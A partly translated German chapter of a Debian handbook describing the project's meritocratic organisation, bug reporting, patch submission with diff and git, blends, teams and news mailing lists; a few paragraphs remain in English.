Auch wenn diese Verfassung einen demokratischen Anschein erweckt, sieht die tägliche Wirklichkeit ziemlich anders aus: Natürlich folgt Debian den Regeln der Freien Software, der „Tu-okratie“: Wer etwas tut, entscheidet auch. Viel Zeit kann darauf verschwendet werden, die jeweiligen Vorteile verschiedener Lösungswege für ein Problem zu diskutieren; am Ende wird die Lösung gewählt, die als erste funktioniert und zufriedenstellend ist... was sich aus der Zeit ergibt, die eine sachkundige Person darin investiert hat.

Dies ist der einzige Weg, sich Sporen zu verdienen: Etwas Nützliches zu tun und zu zeigen, dass man gut gearbeitet hat. Bei Debian agieren viele „Verwaltungsteams“ aufgrund einer Kootation (Wahl von Mitgliedern durch die übrigen Mitglieder) unter Bevorzugung von Freiwilligen, die bereits erfolgreich mitgewirkt und ihre Sachkenntnis bewiesen haben. Die Arbeitsweise dieser Teams ermöglicht es interessierten Entwicklen direkt mitzuwirken ohne erweiterte Rechte haben zu müssen. Deshalb wird Debian häufig als „Meritokratie“ bezeichnet.

KULTUR Meritokratie, die Herrschaft des Wissens

Meritokratie ist eine Regierungsform, bei der die Macht von denen mit den größten Verdiensten ausgeübt wird. Für Debian ist Verdienst ein Maßstab für Kompetenz, die ihrerseits beurteilt wird, indem einer oder mehrere andere im Projekt vorangegangenes Wirken beobachten (Stefano Zacchiroli, ein ehemaliger Projektleiter, spricht von „Tu-okratie“, womit „Macht für diejenigen, die etwas fertigbringen“ gemeint ist). Ihr((Bezug unklar)) einfaches Vorhandensein ist Anzeichen für ein gewisses Kompetenzniveau; ihre Leistungen bestehen üblicherweise aus freier Software mit abrufbarem Quellcode, der zur Beurteilung seiner Qualität von Fachkollegen leicht überprüft werden kann.

Diese effektive Arbeitsweise gewährleistet die Qualität der Mitwirkenden in den zentralen Debian-Teams. Diese Methode ist keineswegs perfekt und gelegentlich finden sich auch Leute, die diese Arbeitsweise nicht akzeptieren. Die Auswahl von Entwicklern für die Teams mag ein wenig willkürlich oder sogar unfair erscheinen. Außerdem hat nicht jeder dieselbe Auffassung von der Leistung, die von diesen Teams erwartet wird. Für einige ist es nicht akzeptabel, acht Tage auf das Einfügen eines neuen Debian-Pakets warten zu müssen, während andere problemlos drei Wochen lang geduldig warten. Daher gibt es regelmäßig Beschwerden der Unzufriedenen über die „Arbeitsqualität“ mancher Teams.

GEMEINSCHAFT Integration neuer Betreuer

Am häufigsten wird jenes Team kritisiert, das für die Zulassung neuer Entwickler zuständig ist. Zugegebenermaßen hat das Debian-Projekt im Laufe der Jahre an die Entwickler, die es akzeptiert, immer höhere Ansprüche gestellt. Dies mag einigen Leuten ungerecht erscheinen, aber wir müssen akzeptieren, dass bei der Sicherstellung der Qualität und Integrität von allem, was Debian für seine Anwender erbringt, anfangs kleine Herausforderungen in einer Gemeinschaft von mehr als tausend Leuten wesentlich größer geworden sind.

Zudem wird das Annahmeverfahren mit einer Überprüfung der Kandidatur durch ein kleines Team, die Debian Account Manager, abgeschlossen. Diese Manager sind deshalb Kritik besonders ausgesetzt, da sie das letzte Wort über die Aufnahme oder Ablehnung eines Freiwilligen in die Debian-Entwicklergemeinschaft haben. In der Praxis müssen sie manchmal die Annahme einer Person so lange verschieben, bis sie die Arbeitsweise des Projekts besser kennengelernt hat. Man kann natürlich auch zu Debian beitragen, bevor man als offizieller Entwickler angenommen ist, indem man von derzeitigen Entwicklern unterstützt wird.

1.3.2. Die aktive Rolle der Anwender

Man mag sich fragen, ob es wichtig ist, unter denen, die innerhalb des Debian-Projekts arbeiten, auch die Anwender zu erwähnen, doch die Antwort ist definitiv "Ja": sie spielen im Projekt eine lebenswichtige Rolle. Sie sind keineswegs „passiv“, sondern einige Anwender verwenden Entwicklungsversionen von Debian und schicken regelmäßig Fehlerberichte ein, in denen sie auf Probleme hinweisen. Andere gehen noch weiter und reichen Verbesserungsvorschläge ein, indem sie einen Fehlerbericht mit der Schweregradstufe „wishlist“ einschicken oder sogar Korrekturen des Quellcodes, „Patches“ genannt, einreichen (siehe Abschnitt 1.3.2.3, „Senden von Fehlerkorrekturen“).

1.3.2.1. Fehler melden

Das grundlegende Werkzeug in Debian für das Einreichen von Fehlern in die Debian-Fehlerdatenbank (Debian BTS = Bug Tracking System) wird von großen Teilen des Projekts genutzt. Der öffentliche Teil (die Webschnittstelle) ermöglicht es Anwendern, sich alle gemeldeten Fehler anzusehen und falls gewünscht, eine nach verschiedenen Kriterien sortierte Liste anzeigen zu lassen, wie zum Beispiel: betroffenes Paket, Schwere des Fehlers, Status, Anschrift des Meldenden, Anschrift des zuständigen Betreuers, Kennzeichnung, usw. Es ist auch möglich, die vollständige Liste aller bisherigen Diskussionen jedes einzelnen Fehlers durchzusehen.

Unter der Oberfläche ist das Debian BTS E-Mail basierend: Alle Informationen, die es speichert, stammen aus Meldungen, die von verschiedenen beteiligten Personen eingesandt worden sind. Jede an <12345@bugs.debian.org> geschickte E-Mail wird so der Verlaufsgeschichte des Fehlers Nr. 12345 zugeordnet. Bevollmächtigte Personen können einen Fehler „schließen“, indem sie eine Nachricht mit einer Begründung dieser Entscheidung an <12345-done@bugs.debian.org> schicken (ein Fehler wird geschlossen, wenn das angezeigte Problem gelöst oder nicht mehr von Bedeutung ist). Ein neuer Fehler wird gemeldet, indem man eine E-Mail in einem bestimmten Format, das das betroffene Paket bezeichnet, an <submit@bugs.debian.org> schickt. Die Adresse <control@bugs.debian.org> ermöglicht es, alle mit einem Fehler verbundenen „Meta-Informationen“ zu bearbeiten.

Das Debian BTS hat noch weitere funktionelle Merkmale, wie die Verwendung von Markierungen zur Kennzeichnung von Fehlern. Weitere Informationen finden Sie unter

→ https://www.debian.org/Bugs/

WÖRTERVERZEICHNIS Schwere eines Fehlers

Die Schwere eines Fehlers ordnet dem gemeldeten Problem formell ein Bedeutungsmaß zu. Faktisch sind nicht alle Fehler gleich wichtig, zum Beispiel ist ein Schreibfehler in einer Handbuchseite nicht mit einer Sicherheitslücke in einer Serversoftware zu vergleichen.

Debian benutzt eine breite Abstufung zur genauen Beschreibung der Schwere eines Fehlers. Jeder Grad ist exakt definiert, um seine Auswahl zu erleichtern.

→ http://www.debian.org/Bugs/Developer#severities

Benutzer können auch die Befehlszeile verwenden, um Fehlerberichte mit dem reportbug-Werkzeug zu einem Debian-Paket einzusenden. Es hilft sicherzustellen, dass der betreffende Fehler nicht schon früher eingereicht worden ist und so Redundanz im System zu vermeiden. Es erinnert den Benutzer an die Definitionen der Schweregrade, um so eine möglichst genaue Meldung abzugeben (der Entwickler kann, falls nötig, diese Parameter später immer noch fein einstellen). Es hilft, einen vollständigen Fehlerbericht zu schreiben, ohne dass der Benutzer die genaue Syntax kennen muss, indem es ihn schreibt und der Benutzer ihn überarbeiten kann. Dieser Bericht wird dann über einen E-Mail-Server verschickt (standardmäßig über einen entfernten von Debian betriebenen, aber reportbug kann auch einen lokalen Server verwenden).

Dieses Hilfsprogramm zielt vor allem auf die Entwicklungsversionen, in denen Fehler vorrangig beseitigt werden. Tatsächlich sind Änderungen in stabilen Debian-Versionen nicht gern gesehen und sehr selten, zu den wenigen Ausnahme gehören Sicherheitsaktualisierungen oder andere wichtige Updates (falls zum Beispiel ein Paket überhaupt nicht funktioniert). Die Korrektur eines kleineren Fehlers in einem Debian-Paket muss daher bis zur nächsten stabilen Version warten.

1.3.2.2. Übersetzung und Dokumentation

Des Weiteren möchten viele zufriedene Anwender der von Debian angebotenen Leistungen selbst einen Beitrag zum Projekt leisten. Da nicht jeder ausreichend große Sachkenntnisse in der Programmierung hat, kann er auch bei der Übersetzung und Überprüfung der Dokumentation helfen. Es gibt sprachspezifische Mailinglisten zur Koordination dieser Arbeit, für Deutsch zum Beispiel: <debian-l10n-german@lists.debian.org>.

→ https://lists.debian.org/debian-user-german/

ZURÜCK ZU DEN GRUNDLAGEN Was sind i18n und l10n?

„i18n“ und „l10n“ sind die Abkürzungen für die Wörter „internationalization“ (Internationalisierung) und „localization“ (Lokalisierung), wobei jeweils der erste und letzte Buchstabe jedes Wortes angegeben sind sowie die Anzahl der Buchstaben in seiner Mitte.

Ein Programm zu „internationalisieren“ heißt, es so zu verändern, dass es übersetzt (lokalisiert) werden kann. Dies bedeutet, dass ein Programm, das ursprünglich geschrieben wurde, um in einer Sprache zu funktionieren, teilweise umgeschrieben werden muss, um es für alle Sprachen zu öffnen.

Ein Programm zu „lokalisieren“ heißt, die ursprünglichen Meldungen (häufig in Englisch) in eine andere Sprache zu übersetzen. Hierzu muss es bereits internationalisiert worden sein.

Kurz gesagt bereitet die Internationalisierung die Software für eine Übersetzung vor, die dann durch die Lokalisierung ausgeführt wird.

1.3.2.3. Senden von Fehlerkorrekturen

Fortgeschrittene Benutzer können möglicherweise eine Problemlösung für ein Programm bereitstellen, indem sie einen Patch senden.

Ein Patch ist eine Datei, die Änderungen beschreibt, die auf eine oder mehrere Referenzdateien angewendet werden sollen. Insbesondere enthält sie eine Liste von Codezeilen, die entfernt oder hinzugefügt werden sollen, wie auch (manchmal) Zeilen, die dem Referenztext entnommen sind, um so die Veränderungen im Kontext zu ersetzen (sie ermöglichen es, die Platzierung der Änderungen zu bestimmen, wenn sich die Zeilennummern geändert haben).

Das Hilfsprogramm, das verwendet wird, um die in einer derartigen Datei vorgenommenen Veränderungen anzuwenden, heißt einfach patch. Das Hilfsprogramm, das sie erstellt, heißt diff und wird wie folgt benutzt:

$ diff -u file.old file.new >file.patch

Die file.patch-Datei enthält die Anweisungen, um den Inhalt von file.alt in file.neu zu ändern. Wir können sie jemandem zuschicken, der sie dann dazu verwenden kann, file.neu folgendermaßen aus den anderen beiden neu zu erstellen:

$ patch -p0 file.alt <file.patch

Die Datei file.alt ist jetzt mit der Datei file.neu identisch.

In der Praxis wird die meiste Software derzeit in Git-Repositorys verwaltet und die Mitwirkenden verwenden daher eher git, um den Quellcode abzurufen und Änderungen vorzuschlagen. git diff generiert eine Datei im gleichen Format wie diff -u und git apply kann dasselbe tun wie patch.

KULTUR Git

Git ist ein Hilfsprogramm für gemeinschaftliches Arbeiten an mehreren Dateien mit einer Veränderungschronik. Die betreffenden Dateien sind im allgemeinen Textdateien wie zum Beispiel der Quellcode eines Programms. Wenn mehrere Leute gemeinsam an derselben Datei arbeiten, kann git die Veränderungen nur zusammenführen, wenn sie an unterschiedlichen Teilen der Datei vorgenommen wurden. Anderenfalls müssen diese „Konflikte“ von Hand gelöst werden.

Git ist ein verteiltes System, in dem jeder Benutzer ein Repository mit der kompletten Änderungshistorie hat. Zentrale Repositories werden verwendet, um das Projekt herunterzuladen (git clone) und die Arbeit mit anderen zu teilen (git push). Das Repository kann mehrere Versionen der Dateien enthalten, aber nur eine Version kann zu einem bestimmten Zeitpunkt bearbeitet werden: Die Arbeitskopie (sie kann mit git checkout in eine andere Version geändert werden). Git kann Ihnen die Änderungen an der Arbeitskopie zeigen (git diff), kann sie für die Aufnahme vorbereiten (git add) und kann einen neuen Eintrag in der Versionshistorie erstellen (git commit). Es kann auch die Arbeitskopie aktualisieren, um von anderen Benutzern parallel vorgenommene Änderungen einzuschließen (git pull), und kann eine bestimmte Konfiguration in der Historie aufzeichnen, um sie später leicht extrahieren zu können (git tag).

Git ermöglicht den gleichzeitgen Umgang mit mehreren Versionen eines in der Entwicklung befindlichen Projekts, ohne dass sie sich gegenseitig stören. Diese Versionen werden branches(Zweige) genannt. Diese Metapher eines Baumes ist recht treffend, da ein Programm anfänglich in einem gemeinsamen Stamm entwickelt wird. Wenn eine bestimmte Wegmarke erreicht ist (wie zum Beispiel Version 1.0), setzt sich die Entwicklung in zwei Ästen fort: Der Entwicklungszweig erarbeitet die nächste größere Veröffentlichung, und der Wartungszweig handhabt Aktualisierungen und Fehlerkorrekturen für die Version 1.0.

Git ist heutzutage das beliebteste Versionskontrollsystem, aber es ist nicht das einzige. Historisch gesehen war CVS (Concurrent Versions System) das erste weit verbreitete Werkzeug, aber seine zahlreichen Einschränkungen trugen zum Erscheinen von moderneren freien Alternativen bei. Dazu gehören insbesondereSubversion (svn), Git (git), Bazaar (bzr), Fossil (fossil), and Mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

Es würde den Rahmen dieses Buches sprengen, eine ausführliche Erklärung zu Git zu liefern. Informationen hierzu finden Sie im Buch Pro Git .

→ https://git-scm.com/book/de

Während die Ausgabe von git diff eine Datei ist, die für andere Entwickler freigegeben werden kann, gibt es in der Regel bessere Möglichkeiten, Änderungen einzureichen. Wenn die Entwickler es vorziehen, Patches per E-Mail zu erhalten, bevorzugen sie in der Regel Patches, die mit git format-patch generiert werden, damit sie mit git am direkt in das Repository integriert werden können. Dadurch werden Commits für Metainformationen beibehalten und es ermöglicht, mehrere Commits gleichzeitig freizugeben.

Dieser E-Mail-basierte Workflow ist immer noch beliebt, wird aber tendenziell durch die Verwendung von merge-Anfragen (oder pull-Anfragen) ersetzt, wenn die Software auf einer Plattform wie GitHub oder GitLab gehostet wird – und Debian verwendet GitLab auf seinem salsa.debian.org-Server. Auf diesen Systemen erstellen Sie, sobald Sie ein Konto erstellt haben, forken das Repository, indem Sie effektiv eine Kopie des Repositorys in Ihrem eigenen Konto erstellen und Sie können dann dieses Repository klonen und Ihre eigenen Änderungen darin übertragen. Von dort aus wird Ihnen die Weboberfläche empfehlen, eine Zusammenführungsanforderung zu senden, die Entwickler über Ihre Änderungen informiert, sodass sie Ihre Änderungen mit einem einzigen Klick überprüfen und akzeptieren können.

1.3.2.4. Andere Möglichkeiten, Beiträge zu leisten

Diese Infrastruktur zur Benutzerbeteiligung wurden durch das Verhalten der Anwender optimiert. Sie sind keineswegs eine Gruppe isolierter Personen, sondern Teil einer richtigen Gemeinschaft, in der zahlreiche Austauschprozesse stattfinden. Wir möchten vor allem auf die beeindruckende Aktivität in der Mailingliste für Anwenderdiskussionen hinweisen: <debian-user@lists.debian.org> (Kapitel 7, Probleme lösen und relevante Informationen finden beschreibt dies ausführlicher).

→ https://lists.debian.org/users.html

Die Anwender helfen sich (und anderen) nicht nur technischen Problemen, die sie selbst betreffen, sondern diskutieren auch darüber, wie sie am besten zum Debian-Projekt beitragen und es dadurch voranbringen können - Diskussionen, die häufig zu Verbesserungsvorschlägen führen.

HILFSPROGRAMM how-can-i-help

Das Programm how-can-i-help listet Möglichkeiten auf, zu Debian-Paketen beizutragen, die lokal installiert sind. Nach jedem APT-Aufruf (siehe auch: Kapitel 6, Wartung und Aktualisierung: Die APT-Tools)zeigt es Möglichkeiten, zu helfen, indem Fehler hervorgehoben werden, die als "Newcomer" (Einstiegspunkte für neue Mitwirkende) oder verwaiste Pakete, die einen neuen Betreuer benötigen, markiert werden. Das Programm kann auch direkt ausgeführt werden.

Da Debian keine Gelder für Eigenwerbungskampagnen ausgibt, spielen seine Benutzer bei seiner Verbreitung eine wichtige Rolle, indem sie es durch Mundpropaganda bekannt machen.

Diese Methode funktioniert recht gut, da Debian-Anhänger auf allen Ebenen der Gemeinschaft der freien Software zu finden sind: von Installationspartys (Treffen, bei denen erfahrene Anwender Neulingen helfen, das System zu installieren), die von örtlichen LUGs (Linux User Groups) organisiert werden, bis zu Vereinsständen auf großen Technikkongressen zum Thema Linux, usw.

Freiwillige erstellen Plakate, Broschüren, Sticker und andere nützliche Werbematerialien für das Projekt, die sie jedem zur Verfügung stellen und die Debian auf seiner Website oder Wiki frei anbietet:

→ https://www.debian.org/events/material

1.3.3. Teams, Mischungen und Teilprojekte

Debian war von Beginn an um das Konzept der Quellpakete herum organisiert, jedes mit seinem Betreuer oder seiner Gruppe von Betreuern. Zahlreiche Arbeitsteams haben sich im Laufe der Zeit gebildet, die die Verwaltung der Infrastruktur und das Management von Aufgaben, die keinem bestimmten Paket zugeordnet werden können (Qualitätssicherung, Debian-Richtlinien, Installationsprogramm usw.) sicherstellen, wobei die jüngsten Teams rings um Unterprojekte heranwachsen.

1.3.3.1. Bestehende Debian-Unterprojekte und Mischungen (Blends)

Jedem sein eigenes Debian! Ein Unterprojekt ist eine Gruppe von Freiwilligen, die daran interessiert sind, Debian an spezifische Bedürfnisse anzupassen. Neben der Auswahl einer Untergruppe von Programmen, die für einen bestimmten Bereich (Bildung, Medizin, Multimedia-Erstellung usw.) bestimmt sind, sind Unterprojekte auch daran beteiligt, bestehende Pakete zu verbessern, fehlende Software zu paketieren, den Installer anzupassen, spezifische Dokumentation zu erstellen und mehr. Während eine "Mischung" vielleicht nicht genau dasselbe ist, funktioniert sie ziemlich ähnlich und versucht auch, eine Lösung für Gruppen von Leuten zu bieten, die Debian für einen bestimmten Bereich verwenden wollen. Man könnte sagen, dass "Debian Pure Blends" der Nachfolger der Unterprojekte ist.

→ https://www.debian.org/blends/

WÖRTERVERZEICHNIS Unterprojekt, Mischung und abgeleitete Distribution

Der Entwicklungsprozess einer abgeleiteten Distribution besteht darin, mit einer bestimmten Version von Debian zu beginnen und daran eine Anzahl von Veränderungen vorzunehmen. Die hierbei verwendete Infrastruktur befindet sich vollständig außerhalb des Debian-Projekts. Es gibt nicht notwendigerweise Richtlinien zum Beitragen von Verbesserungen. Dieser Unterschied erklärt, wie sich eine abgeleitete Distribution von ihren Ursprüngen entfernen kann und warum sie sich regelmäßig mit ihrer Quelle neu synchronisieren muss, um aus Verbesserungen des Hauptzweigs Nutzen zu ziehen.

On the other hand, a sub-project or blend can not diverge, since all the work on it consists of directly improving Debian in order to adapt it to a specific goal.

Die bekannteste von Debian abgeleitete Distribution ist zweifellos Ubuntu, aber es gibt viele andere. Siehe Anhang A, Derivate (Abgeleitete Distributionen), um mehr über die Besonderheiten der Derivate und ihre Positionierung im Verhältnis zu Debian zu erfahren.

Here is a small selection of current released Debian Pure Blends:

Debian Junior, by Ben Armstrong, offering an appealing and easy to use Debian system for children;

Debian Edu, by Petter Reinholdtsen, focused on the creation of a specialized distribution for the academic and educational world;

Debian Med, von Andreas Tille, dem medizinischen Bereich gewidmet;

Debian Multimedia, which deals with audio and multimedia work;

Debian GIS, which takes care of Geographical Information Systems applications and users;

Debian Astro, sowohl für professionelle als auch für Hobby Astronomen;

Debian Science, working on providing researchers and scientists a better experience using Debian;

Freedombox ermöglicht das Entwickeln, Designen und Bewerben von privaten Servern, auf denen kostenlose Software für die private und persönliche Kommunikation gehosted werden kann.

Debian Games, bietet Spiele in Debian von Arcade und Abenteuer bis zu Simulation und Strategie;

DebiChem, das sich um Chemie dreht, bietet Chemie-Suiten und -Programme an.

The number of projects will most likely continue to grow with time and improved perception of the advantages of Debian Pure Blends. Fully supported by the existing Debian infrastructure, they can, in effect, focus on work with real added value, without worrying about remaining synchronized with Debian, since they are developed within the project.

1.3.3.2. Administrative Teams

Die meisten Verwaltungsteams sind relativ verschlossen und ergänzen sich nur durch Ko-optation. Die beste Möglichkeit bei einem Team Mitglied zu werden, besteht darin, die aktuellen Mitglieder intelligent zu unterstützen und so zu zeigen, dass man ihre Ziele und Arbeitsmethoden verstanden hat.

Die FTP-Master sind für das offizielle Archiv der Debian-Pakete zuständig. Sie betreuen das Programm, das die von Entwicklern eingeschickten Pakete entgegennimmt und nach einigen Überprüfungen automatisch auf dem Referenzserver speichert (ftp-master.debian.org).

Sie müssen auch die Lizenzen aller neuen Pakete überprüfen, bevor sie sie in die Sammlung bestehender Pakete aufnehmen, um sicherzustellen, dass Debian sie verbreiten darf. Wenn ein Entwickler ein Paket entfernen möchte, richtet er sich an dieses Team über das Fehlerberichtssystem und das „Pseudo-Paket" ftp.debian.org.

WÖRTERVERZEICHNIS Das Pseudo-Paket, ein Überwachungsmittel

Das Fehlerberichtssystem, das ursprünglich dazu gedacht war, Fehlerberichte einem Debian-Paket zuzuordnen, hat sich auch für andere Aufgaben als sehr geeignet erwiesen: das Auflisten zu lösender Probleme und zu erledigender Aufgaben ohne Verbindung zu einem bestimmten Debian-Paket. So ermöglichen „Pseudo-Pakete“ es bestimmten Teams, das Fehlerberichtssystem zu benutzen, ohne sich einem existierenden Paket zuzuordnen. Jeder kann auf diese Weise Angelegenheiten melden, die erledigt werden müssen. Zum Beispiel hat das Fehlerberichtssystem einen Eintrag ftp.debian.org, der genutzt wird um Probleme mit dem offiziellen Paketarchiv zu melden und zu verfolgen oder einfach die Entfernung eines Pakets zu erbitten. In ähnlicher Weise weist das Pseudo-Paket www.debian.org auf Fehler auf der Debian-Website hin, und sammelt lists.debian.org alle Probleme, die Mailinglisten betreffen.

HILFSPROGRAMM GitLab, Git Repository Hosting und vieles mehr

Eine GitLab-Instanz, bekannt als salsa.debian.org, wird von Debian verwendet, um die Git-Paket-Repositorys zu hosten; aber diese Software bietet viel mehr als einfaches Hosting und Debian-Mitwirkende haben schnell Funktionen der kontinuierlichen Integration genutzt (bei jedem Push Tests laufen lassen oder sogar Pakete erstellen). Debian-Mitwirkende profitieren auch von einem saubereren Beitrags-Workflow dank des gut verstandenen Merge-Anforderungsprozesses (ähnlich wie GitHubs Pull-Anfragen).

GitLab ersetzte FusionForge (die auf einem Dienst namens alioth.debian.org liefen) für die kollaborative Paketwartung. Dieser Service wird von Alexander Wirt, Bastian Blank und Jörg Jaspert verwaltet.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

Das Debian System Administrators(DSA)-Team (<debian-admin@lists.debian.org>) ist, wie zu erwarten, für die Systemadministration der vielen vom Projekt verwendeten Server verantwortlich. Es stellt den reibungslosen Betrieb aller Basisdienste sicher (DNS, Web, E-Mail, Konsole usw.), installiert von Debian-Entwicklern gewünschte Software und trifft alle sicherheitsrelevanten Vorsichtsmaßnahmen.

→ https://dsa.debian.org

HILFSPROGRAMM Debian Paketüberwachung

Dies ist eine von Raphaëls Erfindungen. Die Grundidee besteht darin, für ein bestimmtes Paket möglichst viel Information auf einer einzelnen Seite zu vereinigen. Auf diese Weise kann man schnell den Status eines Programms überprüfen, ausstehende Aufgaben erkennen und seine Hilfe anbieten. Daher sammelt diese Seite alle Fehlerstatistiken, die in jeder Distribution verfügbaren Versionen, Fortschritte eines Pakets in der Testing-Distribution, den Übersetzungsstatus der Beschreibungen und debconf-Vorlagen, die mögliche Verfügbarkeit einer neuen Ursprungsversion, Mitteilungen über die Nichteinhaltung der jüngsten Version der Debian-Richtlinien, Informationen über den Betreuer und alle übrigen Infos, die dieser Betreuer beifügen möchte.

→ https://tracker.debian.org/

Eine E-Mail-Abonnement-Funktion vervollständigt diese Webschnittstelle. Sie sendet automatisch folgende ausgewählte Informationen an die Liste: Fehler und dazugehörige Diskussionen, Verfügbarkeit einer neuen Version auf den Debian-Servern, fertiggestellte, zum Korrekturlesen bereite Übersetzungen usw.

Fortgeschrittene Nutzer können so alle diese Informationen genau verfolgen und, wenn sie ausreichend gut verstehen, wie es funktioniert, sogar zum Projekt beitragen.

Another web interface, known as the Debian Developer's Packages Overview (DDPO), provides each developer a synopsis of the status of all Debian packages placed under their charge.

→ https://qa.debian.org/developer.php

Diese beiden Websites sind Hilfsprogramme, die von der bei Debian für die Qualitätssicherung zuständigen Gruppe (Debian QA genannt), entwickelt und verwaltet werden.

Die Listmaster verwalten die E-Mail-Server mit den Mailinglisten. Sie erstellen neue Listen, bearbeiten Abweisungen (Mitteilungen über gescheiterte Zustellungen) und betreuen die Spam-Filter (unerwünschte Massen-E-Mails).

KULTUR Datenverkehr auf den Mailinglisten: einige Zahlen

The mailing lists are, without a doubt, the best testimony to activity on a project, since they keep track of everything that happens. The numbers (from April 2021) regarding our mailing lists speak for themselves: Debian hosts about 325 lists, totaling over 295,000 individual subscriptions. 396,000 e-mails are delivered every day.

Each specific service has its own administration team, generally composed of volunteers who have installed it (and also frequently programmed the corresponding tools themselves). This is the case for the bug tracking system (BTS), the package tracker, salsa.debian.org (GitLab server, see sidebar HILFSPROGRAMM GitLab, Git Repository Hosting und vieles mehr), the services available on qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

1.3.3.3. Entwicklungsteams, Querschnittsteams

Im Gegensatz zu den Verwaltungsteams sind die Entwicklungsteams, selbst gegenüber externen Mitwirkenden, recht offen. Auch wenn Debian sich nicht dazu berufen fühlt, Software zu erstellen, so benötigt das Projekt doch einige spezielle Programme, um seine Ziele zu erreichen. Natürlich wenden diese unter einer freien Softwarelizenz entwickelten Hilfsprogramme Methoden an, die sich andernorts in der Welt der freien Software bewährt haben.

Debian hat wenig eigene Software entwickelt, aber bestimmte Programme spielen heute eine zentrale Rolle, und ihr Name hat sich über den Bereich des Projekts hinaus verbreitet. Gute Beispiele sind dpkg, das Debian-Paketverwaltungsprogramm (es ist eine Abkürzung für Debian PacKaGe, ausgesprochen dee-package), und apt, ein Hilfsprogramm zur automatischen Installation von Debian-Paketen, und seine Abhängigkeiten, die die Konsistenz des Systems nach einer Aktualisierung sicherstellen (sein Name ist eine Abkürzung für Advanced Package Tool). Ihre Teams sind jedoch viel kleiner, da sehr gute Programmierkenntnisse für das vollständige Verständnis der Funktionsweise solcher Programmen erforderlich sind.

Das wichtigste Team ist wohl jenes für das Debian-Installationsprogramm debian-installer, das seit seinem Beginn im Jahr 2001 ein Werk bedeutenden Ausmaßes fertiggestellt hat. Zahlreiche Mitwirkende waren erforderlich, da es schwierig ist, ein einzelnes Programm zu schreiben, das in der Lage ist, Debian auf einem Dutzend verschiedener Architekturen zu installieren. Jedes hat seine eigenen Startabläufe und seinen eigenen Bootloader. All diese Arbeit wird in der Mailingliste <debian-boot@lists.debian.org> unter der Leitung von Cyril Brulebois koordiniert.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

Das (sehr kleine) Team des Programms debian-cd hat ein noch bescheideneres Ziel. Viele „kleine“ Mitwirkende sind für ihre Architektur verantwortlich, da der Hauptentwickler weder alle Feinheiten noch den genauen Weg zum Starten des Installationsprogramms von der CD-ROM kennen kann.

Viele Teams müssen mit anderen beim Paketieren zusammenarbeiten: <debian-qa@lists.debian.org> versucht zum Beispiel, die Qualität auf allen Ebenen des Debian-Projekts sicherzustellen. Die Liste <debian-policy@lists.debian.org> entwickelt Debian-Richtlinien aufgrund von Vorschlägen, die aus allen Richtungen eintreffen. Die Teams, die für jeweils eine Architektur zuständig sind (<debian-architektur@lists.debian.org>), kompilieren alle Pakete und passen sie dabei nach Bedarf an ihre jeweilige Architektur an.

Andere Teams betreuen die wichtigsten Pakete, um ihre Instandhaltung sicherzustellen, ohne eine allzu schwere Last auf die Schultern eines Einzelnen zu legen; dies ist bei der C-Bibliothek und <debian-glibc@lists.debian.org> der Fall, beim C-Compiler auf der Liste <debian-gcc@lists.debian.org> und bei Xorg auf <debian-x@lists.debian.org> (diese Gruppe, ist auch als die X Strike Force bekannt).

1.4. Neuigkeiten bei Debian verfolgen

Wie schon erwähnt stellt sich das Debian Projekt ziemlich verteilt und organisch dar. Folglich ist es manchmal schwerig, dem Geschehen im Projekt zu folgen ohne in der niemals endenden Flut von Mitteilungen zu ertrinken.

Wenn Sie nur die wesentlichsten Neuigkeiten über Debian interessieren, ist es sinnvoll, die Mailingliste <debian-announce@lists.debian.org> zu abonnieren. Das ist eine sehr wenig frequentierte Liste (etwa ein Dutzend Meldungen pro Jahr) und sie veröffentlicht nur die allerwichtigsten Ankündigungen, wie die Verfügbarkeit von stabilen Versionen, die Wahl eines neuen Projektleiters oder das Stattfinden der jährlichen Debian Konferenz.

→ https://lists.debian.org/debian-announce/

Allgemeinere (und regelmäßige) Nachrichten über Debian werden verteilt über die Liste <debian-news@lists.debian.org>. Die Verteilfrequenz dieser Liste ist ebenfalls moderat (üblicherweise eine handvoll Meldungen pro Monat) und sie beinhaltet die halboffiziellen "Debian Projekt Nachrichten" (DPN), einer Zusammenstellung kurzer Einblicke in das Geschehen im Projekt.

→ https://lists.debian.org/debian-news/

GEMEINSCHAFT Werbeteam

Debians offizielle Kommunikationskanäle werden von Freiwilligen des Debian-Werbeteams verwaltet. Sie sind Delegierte des Debian-Projektleiters und moderieren Nachrichten und Ankündigungen, die dort veröffentlicht werden. Viele andere Freiwillige tragen zum Team bei, indem sie beispielsweise Inhalte für "Debian Project News", Debians offiziellen Blog (bits.debian.org) oder den Microblogging-Dienst (micronews.debian.org) schreiben, der Social-Networking-Sites mit Microblogging-Inhalten versorgt.

→ https://wiki.debian.org/Teams/Publicity

Für weitergehende Informationen über die Entwicklung von Debian und das, was zu einem bestimmten Zeitpunkt in den einzelnen Teams passiert, gibt es noch die Mailingliste <debian-devel-announce@lists.debian.org>. Wie der Name vermuten lässt, sind deren Inhalte wohl eher für Entwickler interessant, aber sie erlaubt interessierten Dritten einen detaillierteren Blick auf das Geschehen, als nur den Zeitpunkt der Freigabe einer stabilen Version. Während <debian-announce@lists.debian.org> Neuigkeiten über die für den Benutzer sichtbaren Ergebnisse verbreitet, erhält man über <debian-devel-announce@lists.debian.org> Einblick in die Entstehung dieser Ergebnisse. Nebenbei bemerkt, "d-d-a" (wie sie manchmal genannt wird), ist die einzige Liste, welche Debian Entwickler abonnieren müssen.

→ https://lists.debian.org/debian-devel-announce/

Debians offizieller Blog (bits.debian.org) ist ebenfalls eine gute Informationsquelle. Es vermittelt die meisten interessanten Nachrichten, die auf den verschiedenen Mailinglisten veröffentlicht werden, die wir bereits behandelt haben und andere wichtige Nachrichten, die von Community-Mitgliedern beigesteuert wurden. Da alle Debian-Entwickler diese Nachrichten beisteuern können, wenn sie denken, dass sie etwas Bemerkenswertes veröffentlichen können, gibt Debians Blog einen wertvollen Einblick, während er sich eher auf das Projekt als Ganzes konzentriert.

